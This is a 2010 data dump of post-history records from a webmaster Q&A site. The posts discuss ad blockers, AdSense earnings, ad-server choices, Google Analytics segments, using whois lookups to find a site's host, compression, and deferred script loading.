  <row Id="1119" PostHistoryTypeId="16" PostId="616" RevisionGUID="fab99aee-400f-404f-97ec-f90b97ea2aeb" CreationDate="2010-07-10T02:26:08.857" UserId="-1" />
  <row Id="1120" PostHistoryTypeId="2" PostId="617" RevisionGUID="f1d50a72-350c-4b45-9b72-b63f4bd30f7f" CreationDate="2010-07-10T02:29:15.900" UserId="215" Text="You could have two javascript files that run one after the other, the first hiding it and instead showing a message asking the user to turn off their ad-blocker to see the content, and providing a subscription for popular blockers to do so, and the second showing it. The second has **ad** in its URI, prompting their subscription to block it. The hiding is done via javascript as some users will have javascript disabled.&#xD;&#xA;&#xD;&#xA;I don't recommend doing this, and it probably won't help you if you get paid per-click, as people who use ad-blockers probably won't click on ads in the first-place, so instead you'll just annoy them.&#xD;&#xA;&#xD;&#xA;I might be biased, though, as I use an ad-blocker." />
  <row Id="1121" PostHistoryTypeId="2" PostId="618" RevisionGUID="afdd9cff-a462-44fb-8133-94255700b17d" CreationDate="2010-07-10T02:31:07.083" UserDisplayName="delete" Text="OK this is not really an answer, but if your users are using AdBlock a lot, maybe your ads are too obnoxious. Why not try toning down the &quot;You have won! you are the 1000000 visitor!&quot; or &quot;Play now my lord!&quot; stuff and see if that helps.&#xD;&#xA;&#xD;&#xA;I guess there is a way to detect adblock, either server-side through detecting what files have been downloaded, or client side through JavaScript jiggery-pokery, but isn't there a danger that instead of forcing people to use AdBlock, you'll just make them go elsewhere?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1122" PostHistoryTypeId="2" PostId="619" RevisionGUID="0673e9fc-cc90-4149-9706-784ca7b1ad41" CreationDate="2010-07-10T02:31:18.127" UserId="40" Text="You could explain to your users that the ad revenues you receive are necessary to run the website due to its costs. Using adblock is hurting them since the service will disappear or will have less quality if the ad revenue cannot be achieved." />
  <row Id="1123" PostHistoryTypeId="2" PostId="620" RevisionGUID="70c2df07-35a9-498f-b84d-1e329043c657" CreationDate="2010-07-10T02:34:44.827" UserDisplayName="delete" Text="I see lots of &quot;Donate&quot; buttons on websites. I confess that I have never donated to any. I also don't feel like my website is a worthy enough cause to display a begging bowl. Does anybody actually make money off their &quot;Donate&quot; buttons? Hard data please!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1124" PostHistoryTypeId="1" PostId="620" RevisionGUID="70c2df07-35a9-498f-b84d-1e329043c657" CreationDate="2010-07-10T02:34:44.827" UserDisplayName="delete" Text="Donations - do they actually work?" />
  <row Id="1125" PostHistoryTypeId="3" PostId="620" RevisionGUID="70c2df07-35a9-498f-b84d-1e329043c657" CreationDate="2010-07-10T02:34:44.827" UserDisplayName="delete" Text="&lt;untagged&gt;" />
  <row Id="1126" PostHistoryTypeId="5" PostId="617" RevisionGUID="e85d4b9a-9374-48b2-b0bb-c7d9643ca086" CreationDate="2010-07-10T02:36:03.513" UserId="215" Comment="deleted 14 characters in body" Text="You could have two javascript files, one after the other.&#xD;&#xA;&#xD;&#xA;    replace_content_with_nag.js&#xD;&#xA;    ad_show_content.js&#xD;&#xA;&#xD;&#xA;The second has **ad** in its URI, so their blacklist blocks it. Instead of hiding the content outright, you might want to just show the nag message and subscription links.&#xD;&#xA;&#xD;&#xA;The hiding is done via javascript as some users have javascript disabled, there's not much you can do about them.&#xD;&#xA;&#xD;&#xA;I don't recommend doing this, and it probably won't help you if you get paid per-click, as people who use ad-blockers probably won't click on ads in the first-place, so instead you'll just annoy them.&#xD;&#xA;&#xD;&#xA;I might be biased, though, as I use an ad-blocker." />
  <row Id="1127" PostHistoryTypeId="5" PostId="613" RevisionGUID="a396ad59-b1fd-40ee-ae92-31e18e55099f" CreationDate="2010-07-10T02:40:13.723" UserId="215" Comment="added 4 characters in body; deleted 11 characters in body; edited title" Text="What sites are there to detect what web host is hosting a website?" />
  <row Id="1128" PostHistoryTypeId="5" PostId="606" RevisionGUID="98e37c8c-985e-4daf-8b0a-8d5f572a6277" CreationDate="2010-07-10T02:42:25.620" UserDisplayName="delete" Comment="more specific data" Text="Anybody who blocks JavaScript won't show up on Google Analytics. I don't know of that many people who deliberately block Google Analytics itself, but I do know that Analytics under-reports traffic. On an Ajax-based site, it is almost accurate, but on a static HTML/CGI site it is under-reporting (only about 60% of actual visitors show up in Google Analytics), so somehow or other it is getting blocked a lot. Another thing is that it doesn't show up any web crawler or robot traffic, and doesn't show up hotlinked images and other kinds of abuse.&#xD;&#xA;&#xD;&#xA;As for delaying the load, loading the same piece of JavaScript again and again on each page won't slow things down since the JavaScript will be cached anyway. It is detecting the time on the page somehow, so it must also be phoning home on page load and unload, which has to involve a short delay. However I honestly cannot detect that or notice it at all.&#xD;&#xA;&#xD;&#xA;As far as I know, there is no requirement to have a privacy policy in order to use Analytics (unlike Adsense).&#xD;&#xA;" />
  <row Id="1129" PostHistoryTypeId="4" PostId="613" RevisionGUID="a396ad59-b1fd-40ee-ae92-31e18e55099f" CreationDate="2010-07-10T02:40:13.723" UserId="215" Comment="added 4 characters in body; deleted 11 characters in body; edited title" Text="Websites to detect who hosts a website?" />
  <row Id="1130" PostHistoryTypeId="2" PostId="621" RevisionGUID="5c8316ac-9a61-41d6-acb5-75961382b510" CreationDate="2010-07-10T03:23:31.253" UserId="40" Text="How much traffic is necessary for adsense to make sense?" />
  <row Id="1131" PostHistoryTypeId="1" PostId="621" RevisionGUID="5c8316ac-9a61-41d6-acb5-75961382b510" CreationDate="2010-07-10T03:23:31.253" UserId="40" Text="Adsense - is it worth setting up?" />
  <row Id="1132" PostHistoryTypeId="3" PostId="621" RevisionGUID="5c8316ac-9a61-41d6-acb5-75961382b510" CreationDate="2010-07-10T03:23:31.253" UserId="40" Text="&lt;google&gt;&lt;advertising&gt;&lt;google-adsense&gt;&lt;traffic&gt;" />
  <row Id="1133" PostHistoryTypeId="2" PostId="622" RevisionGUID="e9b5ab13-42a8-4acb-81d0-f43ae09f936f" CreationDate="2010-07-10T03:28:02.613" UserDisplayName="delete" Text="I have an Ajax-based page which has had a history of problems with Internet Explorer (IE). I spent some time working on the JavaScript to try to get it to work in IE. After this I was interested to see how the traffic to this one specific page with IE had changed. However, using Google Analytics, I can't see a way to track &quot;single-page usage versus specific browser&quot;. Is it possible?&#xD;&#xA;" />
  <row Id="1134" PostHistoryTypeId="1" PostId="622" RevisionGUID="e9b5ab13-42a8-4acb-81d0-f43ae09f936f" CreationDate="2010-07-10T03:28:02.613" UserDisplayName="delete" Text="Is there a way to get browser info on one specific page with Google Analytics?" />
  <row Id="1135" PostHistoryTypeId="3" PostId="622" RevisionGUID="e9b5ab13-42a8-4acb-81d0-f43ae09f936f" CreationDate="2010-07-10T03:28:02.613" UserDisplayName="delete" Text="&lt;google-analytics&gt;&lt;internet-explorer&gt;" />
  <row Id="1136" PostHistoryTypeId="2" PostId="623" RevisionGUID="a8149264-e06c-4226-9650-07f632d83bba" CreationDate="2010-07-10T04:02:27.657" UserId="215" Text="There's a [thread on SitePoint][1] with people posting their AdSense revenue. They don't say their traffic levels in the thread, but it should give you a rough idea of the range of earnings to expect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/forums/showthread.php?t=614867" />
  <row Id="1137" PostHistoryTypeId="4" PostId="578" RevisionGUID="d44813a3-8220-4f4e-abe0-1fcabe333f45" CreationDate="2010-07-10T04:02:39.607" UserId="42" Comment="improve formatting; edited title" Text="How to make sense of analytics data?" />
  <row Id="1138" PostHistoryTypeId="2" PostId="624" RevisionGUID="53b081c5-7ad5-4848-90a9-413239aaadd0" CreationDate="2010-07-10T04:29:25.327" UserId="152" Text="I usually use the geotool extension for firefox. For example for this site.&#xD;&#xA;&#xD;&#xA;http://geotool.flagfox.net/?ip=69.59.196.211&amp;host=webmasters.stackexchange.com" />
  <row Id="1139" PostHistoryTypeId="16" PostId="624" RevisionGUID="53b081c5-7ad5-4848-90a9-413239aaadd0" CreationDate="2010-07-10T04:29:25.327" UserId="-1" />
  <row Id="1140" PostHistoryTypeId="2" PostId="625" RevisionGUID="89fe1fe0-a897-4e19-8e0d-a2797fb01cc0" CreationDate="2010-07-10T06:37:15.173" UserId="180" Text="Yes, you need to create an advanced segment for the specific page you want information on.&#xD;&#xA;&#xD;&#xA;- On the left side of your Analytics report, click on &quot;Advanced Segments&quot;&#xD;&#xA;- Click on &quot;Create new custom segment&quot;&#xD;&#xA;- Expand the &quot;Content&quot; section on the left and drag the &quot;Page&quot; dimension into the dashed box&#xD;&#xA;- Choose &quot;Matches exactly&quot; as the condition then type the /path/to/your/page.html (it should auto-complete)&#xD;&#xA;- Enter a name, and click &quot;Create Segment.&#xD;&#xA;&#xD;&#xA;Now, when you're on the Visitors-&gt;Browser Capabilities-&gt;Browsers report and drill down into Internet Explorer, you can then click on the &quot;Advanced Segments&quot; drop down in the upper right, and select the segment that you just created.&#xD;&#xA;&#xD;&#xA;Note that this doesn't always do a 100% job of filtering the data properly, and for some metrics it uses data samples rather than complete data.  Despite these limitations, it can offer some great insight.&#xD;&#xA;&#xD;&#xA;For a more visual approach, check out the [video on this topic][1] by GoogleBusiness.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=wu8YzF0AM14" />
  <row Id="1141" PostHistoryTypeId="5" PostId="616" RevisionGUID="14e8d552-073f-478b-be38-9b370457e01e" CreationDate="2010-07-10T06:51:49.090" UserId="180" Comment="added 614 characters in body; added 100 characters in body" Text="One way of getting some initial information is to look at the domain's registration record. This sometimes gives you clues about whose server the website is hosted on by looking at the DNS server entries.  You can look up these records at any whois service, such as [www.whois.net][1].&#xD;&#xA;&#xD;&#xA;In the cases where the DNS server does not give any answers on the hoster, you can often trace the range of IP addresses being used back to a specific provider using an IPWhois search.  If you start at the [ARIN WHOIS Database Search][2] it will either tell you who owns the netblock, or will refer you to a different search such as at [APNIC][3].&#xD;&#xA;&#xD;&#xA;You can also get the netblock owner and other interesting statistics by running a &quot;[What's that site running][4]?&quot; query at NetCraft&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whois.net/&#xD;&#xA;  [2]: http://ws.arin.net/whois/&#xD;&#xA;  [3]: http://wq.apnic.net/apnic-bin/whois.pl&#xD;&#xA;  [4]: http://uptime.netcraft.com/up/graph" />
  <row Id="1142" PostHistoryTypeId="5" PostId="616" RevisionGUID="9aeda418-7995-4fb0-b575-83fd5a58f247" CreationDate="2010-07-10T07:01:08.867" UserId="180" Comment="added info on NSLOOKUP tool" Text="One way of getting some initial information is to look at the domain's registration record. This sometimes gives you clues about whose server the website is hosted on by looking at the DNS server entries.  You can look up these records at any whois service, such as [www.whois.net][1].&#xD;&#xA;&#xD;&#xA;In the cases where the DNS server does not give any answers on the hoster, you can often trace the range of IP addresses being used back to a specific provider using an IPWhois search.  If you start at the [ARIN WHOIS Database Search][2] it will either tell you who owns the netblock, or will refer you to a different search such as at [APNIC][3].  You can also get the netblock owner and other interesting statistics by running a &quot;[What's that site running][4]?&quot; query at NetCraft&#xD;&#xA;&#xD;&#xA;Yet another way of tracing where a site is hosted is to look at its MX (mailserver) DNS entries.  Although these are not as tightly linked to the web site as they used to be with the advent of third-party email services like Google Apps, they can often still provide useful information.  To look this information up, you need to use a tool called NSLOOKUP.  This is available on many operating systems, or you can use an online version like [the one at Kloth.Net][5].  Type in the domain name you're interested in (example.org, not www.example.org), and choose to run an MX query.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whois.net/&#xD;&#xA;  [2]: http://ws.arin.net/whois/&#xD;&#xA;  [3]: http://wq.apnic.net/apnic-bin/whois.pl&#xD;&#xA;  [4]: http://uptime.netcraft.com/up/graph&#xD;&#xA;  [5]: http://www.kloth.net/services/nslookup.php" />
  <row Id="1143" PostHistoryTypeId="5" PostId="625" RevisionGUID="e995044b-4e0d-4a1d-8b11-0cd92043401e" CreationDate="2010-07-10T07:03:06.930" UserId="180" Comment="closed quote :)" Text="Yes, you need to create an advanced segment for the specific page you want information on.&#xD;&#xA;&#xD;&#xA;- On the left side of your Analytics report, click on &quot;Advanced Segments&quot;&#xD;&#xA;- Click on &quot;Create new custom segment&quot;&#xD;&#xA;- Expand the &quot;Content&quot; section on the left and drag the &quot;Page&quot; dimension into the dashed box&#xD;&#xA;- Choose &quot;Matches exactly&quot; as the condition then type the /path/to/your/page.html (it should auto-complete)&#xD;&#xA;- Enter a name, and click &quot;Create Segment&quot;&#xD;&#xA;&#xD;&#xA;Now, when you're on the Visitors-&gt;Browser Capabilities-&gt;Browsers report and drill down into Internet Explorer, you can then click on the &quot;Advanced Segments&quot; drop down in the upper right, and select the segment that you just created.&#xD;&#xA;&#xD;&#xA;Note that this doesn't always do a 100% job of filtering the data properly, and for some metrics it uses data samples rather than complete data.  Despite these limitations, it can offer some great insight.&#xD;&#xA;&#xD;&#xA;For a more visual approach, check out the [video on this topic][1] by GoogleBusiness.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=wu8YzF0AM14" />
  <row Id="1144" PostHistoryTypeId="2" PostId="626" RevisionGUID="1012fbf7-4916-44b4-8a5e-8040e1872643" CreationDate="2010-07-10T07:08:49.757" UserDisplayName="delete" Text="Google themselves use the following measures, &quot;clicks&quot;, &quot;click through rate&quot; (CTR), &quot;earnings per mille&quot; (eCPM), and &quot;earnings&quot;. The CTR is how many people click on your ads, and the eCPM is how much money you get per 1,000 people who look at the advert. The earnings is the money Google pays you (obviously). What you need to do to work out whether it is financially worthwhile for you is to multiply the number of ads you can serve (how many 1000s of pages) by what eCPM you expect to get. E.g. if you expect an eCPM of one dollar, and you have 50,000 people a day visiting your site, you'd expect to get $50 a day. If you expect an eCPM of ten cents, and you have 100 people visiting your site a day, you'd expect to get 1 cent a day. With an eCPM of ten dollars, and 3000 people, you'd expect to get $30 a day.&#xD;&#xA;&#xD;&#xA;Note that Google's terms and conditions forbid people from revealing either their CTR or their eCPM, so the hard part of this guessing game is finding a realistic eCPM figure. As for setting up the ads, that is actually dead easy. Google adsense really isn't very hard to set up; there is a &quot;wizard&quot; which makes the HTML code for you and you just stick it in your website whereever you like.&#xD;&#xA;&#xD;&#xA;Level of annoyance to users is a factor, but you have the following kinds of control:&#xD;&#xA;&#xD;&#xA;* You can choose &quot;text ads only&quot; so that you never get any image or animated ads.&#xD;&#xA;* You can block off ads you dislike with the &quot;competitive ad filter&quot;.&#xD;&#xA;* You can choose the colours, sizes, etc. of ads.&#xD;&#xA;&#xD;&#xA;Other things you need to think about are that you need a privacy policy, and there is a &quot;laundry list&quot; of other conditions your website needs to fulfil before you become eligible. There are quite a lot of rules and other stuff which you need to follow, so if your content is highly controversial or X-rated then forget it. There are also limits on things like what language your page may be written in, etc. etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1145" PostHistoryTypeId="2" PostId="627" RevisionGUID="a6f1ca68-56b3-4cfd-9ffd-a6d981bcd8eb" CreationDate="2010-07-10T07:21:05.753" UserId="180" Text="I currently have a site that is generating about 120k monthly page views and is being hosted on a shared FreBSD server where I have access to PHP and MySQL. I am using some custom PHP server-side scripts that give each of my ad networks (AdSense, Tribal Fusion, etc) an adjustable percentage of impressions in each of the ad positions on my pages.&#xD;&#xA;&#xD;&#xA;I am looking for a better way of managing and measuring the delivery of these ads, and would also like to be able to take direct placements and provide statistics to the clients.&#xD;&#xA;&#xD;&#xA;I am looking at options including [OpenX self-hosted][1], [OpenX community][2], and [Google DoubleClick for Publishers Small Business][3] (DFP), but am having difficulty determining which one will best meet my needs (they all seem pretty complicated compared to a simple rotation script) and have steep learning curves.&#xD;&#xA;&#xD;&#xA;What I have taken away so far as the benefit of self-hosting is that I don't have to pay for the service if I go over a given number of ad impressions, while both OpenX Community and DFP have free impression limits.  Of course, if I was doing those kind of numbers I'd need to upgrade my hosting account, but I'm not sure even at that point whether it would be cheaper to serve the ads myself than pay for a premium service.&#xD;&#xA;&#xD;&#xA;Apart from this, I really need insights into what features differentiate these services, why I might want to choose one over another, and if there are any other competing products or service of the same quality that I should look into.  Answers from webmasters who have used both (or all three) services and can talk to usability and ease of ad management would be highly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openx.org/ad-server/download&#xD;&#xA;  [2]: http://www.openx.org/en/ad-server&#xD;&#xA;  [3]: https://www.google.com/dfp/info/sb/index.html" />
  <row Id="1146" PostHistoryTypeId="1" PostId="627" RevisionGUID="a6f1ca68-56b3-4cfd-9ffd-a6d981bcd8eb" CreationDate="2010-07-10T07:21:05.753" UserId="180" Text="What service or software is should I use to serve advertising on a site with about 120k monthly page views?" />
  <row Id="1147" PostHistoryTypeId="3" PostId="627" RevisionGUID="a6f1ca68-56b3-4cfd-9ffd-a6d981bcd8eb" CreationDate="2010-07-10T07:21:05.753" UserId="180" Text="&lt;advertising&gt;" />
  <row Id="1148" PostHistoryTypeId="5" PostId="626" RevisionGUID="212d6dfb-b9e6-49ea-85b1-fcba3d4d2abf" CreationDate="2010-07-10T07:23:06.263" UserDisplayName="delete" Comment="added 15 characters in body" Text="Google themselves use the following measures, &quot;clicks&quot;, &quot;click through rate&quot; (CTR), &quot;earnings per mille&quot; (eCPM), and &quot;earnings&quot;. The CTR is how many people click on your ads, and the eCPM is the average of how much money you get per 1,000 people who look at the advert. The earnings is the money Google pays you (obviously). What you need to do to work out whether it is financially worthwhile for you is to multiply the number of ads you can serve (how many 1000s of pages) by what eCPM you expect to get. E.g. if you expect an eCPM of one dollar, and you have 50,000 people a day visiting your site, you'd expect to get $50 a day. If you expect an eCPM of ten cents, and you have 100 people visiting your site a day, you'd expect to get 1 cent a day. With an eCPM of ten dollars, and 3000 people, you'd expect to get $30 a day.&#xD;&#xA;&#xD;&#xA;Note that Google's terms and conditions forbid people from revealing either their CTR or their eCPM, so the hard part of this guessing game is finding a realistic eCPM figure. As for setting up the ads, that is actually dead easy. Google adsense really isn't very hard to set up; there is a &quot;wizard&quot; which makes the HTML code for you and you just stick it in your website whereever you like.&#xD;&#xA;&#xD;&#xA;Level of annoyance to users is a factor, but you have the following kinds of control:&#xD;&#xA;&#xD;&#xA;* You can choose &quot;text ads only&quot; so that you never get any image or animated ads.&#xD;&#xA;* You can block off ads you dislike with the &quot;competitive ad filter&quot;.&#xD;&#xA;* You can choose the colours, sizes, etc. of ads.&#xD;&#xA;&#xD;&#xA;Other things you need to think about are that you need a privacy policy, and there is a &quot;laundry list&quot; of other conditions your website needs to fulfil before you become eligible. There are quite a lot of rules and other stuff which you need to follow, so if your content is highly controversial or X-rated then forget it. There are also limits on things like what language your page may be written in, etc. etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1149" PostHistoryTypeId="4" PostId="627" RevisionGUID="bf03dfe2-3059-4ff3-b631-9b6063bdb3c0" CreationDate="2010-07-10T07:28:35.080" UserId="180" Comment="fixed title" Text="What service or software should I use to serve advertising on a site with about 120k monthly page views?" />
  <row Id="1150" PostHistoryTypeId="5" PostId="553" RevisionGUID="1bcaa8d7-e078-4624-b976-f3caa01cda3f" CreationDate="2010-07-10T07:58:00.797" UserId="180" Comment="Added other tagging options, including the W3C's POWDER" Text="There are several ways of tagging your site.&#xD;&#xA;&#xD;&#xA;One option is to add a [SafeSurf][0] META tag to your header, with a form available at that site to generate the appropriate tag.&#xD;&#xA;&#xD;&#xA;Another option is to [generate an ICRA Meta tag and RDF][3] file to describe your site.&#xD;&#xA;&#xD;&#xA;However, it looks like some consensus is building on a standardized way of tagging your site. Initially, the [PICS label][1] was promoted as a rating mechanism, but that has since been superseded by [POWDER][2], which has been granted &quot;Recommendation&quot; status by the W3C.  &#xD;&#xA;&#xD;&#xA;POWDER includes instructions on how you can use the [ICRA ratings system with the POWDER format][4]. This may be a more future-proof and less proprietary way of tagging your site.&#xD;&#xA;&#xD;&#xA;  [0]: http://www.safesurf.com/classify/&#xD;&#xA;  [1]: http://www.w3.org/PICS/#Specs&#xD;&#xA;  [2]: http://www.w3.org/2007/powder/&#xD;&#xA;  [3]: http://www.icra.org/label/generator/&#xD;&#xA;  [4]: http://www.w3.org/TR/2009/NOTE-powder-primer-20090604/#ICRA1&#xD;&#xA;" />
  <row Id="1151" PostHistoryTypeId="2" PostId="628" RevisionGUID="2f813ae4-3ddf-4f7f-ba87-fd2100fd00b5" CreationDate="2010-07-10T08:24:14.307" UserId="180" Text="This is absolutely worth doing, even for sites with average to low traffic levels.  Although it will reduce your bandwidth (with a slight increase in CPU usage), the real benefit is to your users.  Even on broadband you can notice a performance improvement when compressed pages, but your users on slower network speeds and newer smartphones will really appreciate it." />
  <row Id="1152" PostHistoryTypeId="2" PostId="629" RevisionGUID="1f63fd50-a74a-445d-b3b7-2eb080102678" CreationDate="2010-07-10T08:30:13.297" UserId="23" Text="http://www.whatsmyip.org/http_compression/" />
  <row Id="1153" PostHistoryTypeId="2" PostId="630" RevisionGUID="950f7439-b969-4bcf-bfe9-0e7d19417c0c" CreationDate="2010-07-10T08:31:38.860" UserId="180" Text="[SEOMOZ.org][1] has some interesting articles, though there is the occasional plug for their services.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog" />
  <row Id="1154" PostHistoryTypeId="16" PostId="630" RevisionGUID="950f7439-b969-4bcf-bfe9-0e7d19417c0c" CreationDate="2010-07-10T08:31:38.860" UserId="-1" />
  <row Id="1155" PostHistoryTypeId="2" PostId="631" RevisionGUID="2a96981f-5760-4471-825c-3a76f219d9bf" CreationDate="2010-07-10T08:32:16.520" UserId="55" Text="I went with Open-X self hosted for several reasons:&#xD;&#xA;&#xD;&#xA; - It installs in just a few minutes, setting up advertisers and campaigns is really, really easy.&#xD;&#xA; - Its free / open source&#xD;&#xA; - I'm adamant about self-hosting as much as I possibly can&#xD;&#xA;&#xD;&#xA;While its great software, my decision was (mostly) strategic. I know a lot of people that outright block `*.doubleclick.*`, and many other ad networks. I really wanted ads coming from my own domain. The majority of my sites cater to people who are (at the least) tech savvy. I have the same problem with Google Analytics, my visitors don't like being tracked (I can't blame them).&#xD;&#xA;&#xD;&#xA;Additionally, I don't want an ad network slowing down my page loads, or (gasp) being compromised and blasting rogue code to my visitors.&#xD;&#xA;&#xD;&#xA;Open-X is happily serving about 20k impressions daily across a dozen blogs, and is hosted on the same VPS as the blogs. In the few months that I've been using it, I have not noticed any sluggishness.&#xD;&#xA;&#xD;&#xA;If you got to the point that your ad server required more resources, presumably it would be paying for itself. &#xD;&#xA;" />
  <row Id="1156" PostHistoryTypeId="2" PostId="632" RevisionGUID="afdd398a-09d6-43d4-8340-66dec5a27921" CreationDate="2010-07-10T08:42:44.200" UserId="180" Text="[RedBot][1], successor to the Cacheability Engine, does a really great job of testing a page and contents for several performance and cacheability metrics in a simple, easy-to-read grid format.&#xD;&#xA;&#xD;&#xA;Example:  http://redbot.org/?descend=True&amp;uri=http://www.microsoft.com/en/us/default.aspx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://redbot.org/" />
  <row Id="1157" PostHistoryTypeId="2" PostId="633" RevisionGUID="d3025651-0b84-4935-9219-e1b8233fb1c3" CreationDate="2010-07-10T08:47:04.160" UserId="212" Text="This is a minor consideration but one that is relevant for commercial sites.  There is an expectation from non-technical users that a website starts with `www` so when they don't see that they might not think of a domain as a website.  Whilst it may seem silly to those of us that know how things work I have come across this attitude frequently with family, friends and non-technical colleagues and these people are likely to represent the vast majority of your customers.&#xD;&#xA;&#xD;&#xA;Additionally, a lot of software such as email, world processors, social networking clients &amp;c. will automagically recognise a domain name starting with `www` as a hyperlink and make it active - with a naked, or non-www, domain you will need to add the `http://` for the software to make it active.  Being able to click a link instead of having to copy-paste into a browser could make the difference between a customer visiting your site or going to your competitor." />
  <row Id="1158" PostHistoryTypeId="2" PostId="634" RevisionGUID="abff5258-51b9-4ef0-abf1-25a7e5d0aa88" CreationDate="2010-07-10T08:50:15.853" UserId="55" Text="I have read that getting your site listed in the open directory (DMOZ) can significantly help boost your site's ranking in major search engines. Is this an 'old webmaster's tale' or does it really help?" />
  <row Id="1159" PostHistoryTypeId="1" PostId="634" RevisionGUID="abff5258-51b9-4ef0-abf1-25a7e5d0aa88" CreationDate="2010-07-10T08:50:15.853" UserId="55" Text="Does an entry in DMOZ significantly help the ranking of a web site?" />
  <row Id="1160" PostHistoryTypeId="3" PostId="634" RevisionGUID="abff5258-51b9-4ef0-abf1-25a7e5d0aa88" CreationDate="2010-07-10T08:50:15.853" UserId="55" Text="&lt;dmoz&gt;&lt;site-ranking&gt;" />
  <row Id="1161" PostHistoryTypeId="2" PostId="635" RevisionGUID="aca963ae-15fd-4a80-a334-e9e3b2347e2e" CreationDate="2010-07-10T09:10:26.943" UserId="70" Text="To extend on [Jason Birchs][1] and [Kinopikos][2] answers: another increasingly important reason why you absolutely want to apply this (very simple) optimization is Googles announcement to use [site speed in web search ranking][3] as of April 09 2010. You surely don't wanna miss out on an improvement regarding your SEO efforts that easy ;)&#xD;&#xA;&#xD;&#xA;Once you start looking at things from that angle you'll most likely benefit from (and enjoy working with) the respective tools giving you insights into how your pages perform and what you can do about it to improve them:&#xD;&#xA;&#xD;&#xA; - [Yahoo! YSlow for Firebug][4]&#xD;&#xA; - [Google Page Speed for Firebug][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: #628&#xD;&#xA;  [2]: #357&#xD;&#xA;  [3]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html&#xD;&#xA;  [4]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [5]: http://code.google.com/speed/page-speed/" />
  <row Id="1162" PostHistoryTypeId="2" PostId="636" RevisionGUID="c432c49b-7110-4954-816d-8827631482a7" CreationDate="2010-07-10T09:30:40.023" UserId="180" Text="A couple of Google folks [announced an new open source project at Velocity 2010][1] called [Diffable][2].  Diffable performs some magic to incrementally publish only the portions of  JS, HTML, and CSS which have changed since the version which is stored in the user's cache, rather than sending an entire new file when a new version is released.&#xD;&#xA;&#xD;&#xA;This technique is insanely cool, and is currently most effective (and worth the effort) on websites where you are using a large JavaScript code base with small frequent code changes.  This applies especially well to applications like Google Maps, which undergoes at least [one release every Tuesday][3], and averages about 100 new releases a year.  It also makes a lot of sense in general once HTML5 local storage becomes more widespread.&#xD;&#xA;&#xD;&#xA;BTW, if you haven't seen Google's Michael Jones talk about change (in a geospatial context) it's worth watching his entire [keynote at GeoWeb 2009][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.stevesouders.com/blog/2010/07/09/diffable-only-download-the-deltas/&#xD;&#xA;  [2]: http://code.google.com/p/diffable/&#xD;&#xA;  [3]: http://www.youtube.com/watch?v=H-Xmg1Jvux8#t=02m41s&#xD;&#xA;  [4]: http://www.youtube.com/view_play_list?p=F46D4B5A7AEC67D3" />
  <row Id="1163" PostHistoryTypeId="2" PostId="637" RevisionGUID="14470109-d9d3-4e9f-9bdc-cc8801f966a8" CreationDate="2010-07-10T10:36:36.383" UserId="217" Text="You cannot go wrong with O'Reilly's books, especially&#xD;&#xA;&#xD;&#xA; - [Webmaster in Nutshell][1]&#xD;&#xA; - Whole pile of their [webdev selection][2] (but not all at one go ;) )&#xD;&#xA; - For apache the [documentation][3] as with any webserver.&#xD;&#xA;&#xD;&#xA;And one of the best ways is to really run a webserver, you'll learn while experimenting with it. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/9780596003579/&#xD;&#xA;  [2]: http://oreilly.com/pub/topic/webdev/&#xD;&#xA;  [3]: http://httpd.apache.org/docs/" />
  <row Id="1164" PostHistoryTypeId="2" PostId="638" RevisionGUID="c56edc34-93f0-485c-b177-9304204173f4" CreationDate="2010-07-10T10:46:57.117" UserId="161" Text="Besides Minifing, gziping and CDNing (new word?). &#xD;&#xA;You should consider defer loading. Basically what this does is add the scripts dynamically and prevent blocking, allowing parallel downloads.&#xD;&#xA;&#xD;&#xA;There are many ways of doing it, this is the one I prefer&#xD;&#xA;&#xD;&#xA;	&lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;		function AttachScript(src) {&#xD;&#xA;			window._sf_endpt=(new Date()).getTime();&#xD;&#xA;			var script = document.createElement(&quot;script&quot;);&#xD;&#xA;			document.getElementsByTagName(&quot;body&quot;)[0].appendChild(script);&#xD;&#xA;			script.src = src;&#xD;&#xA;		}&#xD;&#xA;		AttachScript(&quot;/js/scripts.js&quot;);&#xD;&#xA;		AttachScript(&quot;http://www.google-analytics.com/ga.js&quot;);&#xD;&#xA;	&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;Place this just before the closing body tag and use AttachScript to load every js file.  &#xD;&#xA;Some more info here http://www.stevesouders.com/blog/2009/04/27/loading-scripts-without-blocking/&#xD;&#xA;" />
  <row Id="1165" PostHistoryTypeId="2" PostId="639" RevisionGUID="e3ca220c-a65b-418b-a690-7cfddd5c9d19" CreationDate="2010-07-10T11:01:28.657" UserId="217" Text="I'd venture, that No, unless you are really, really lucky (or guru) and have some other business running on the side. Especially during this year as economy is in a slump...&#xD;&#xA;&#xD;&#xA;Few references, didn't find any good statistics, but food for thought: http://www.copyblogger.com/no-money-blogging/&#xD;&#xA;&#xD;&#xA;But then again, the whole microfinancing business seems to be succesful http://www.microfinanceusa2010.org/blog/&#xD;&#xA;&#xD;&#xA;Good question, hoping that someone would have some hard statistics, whether donations would work or not. " />
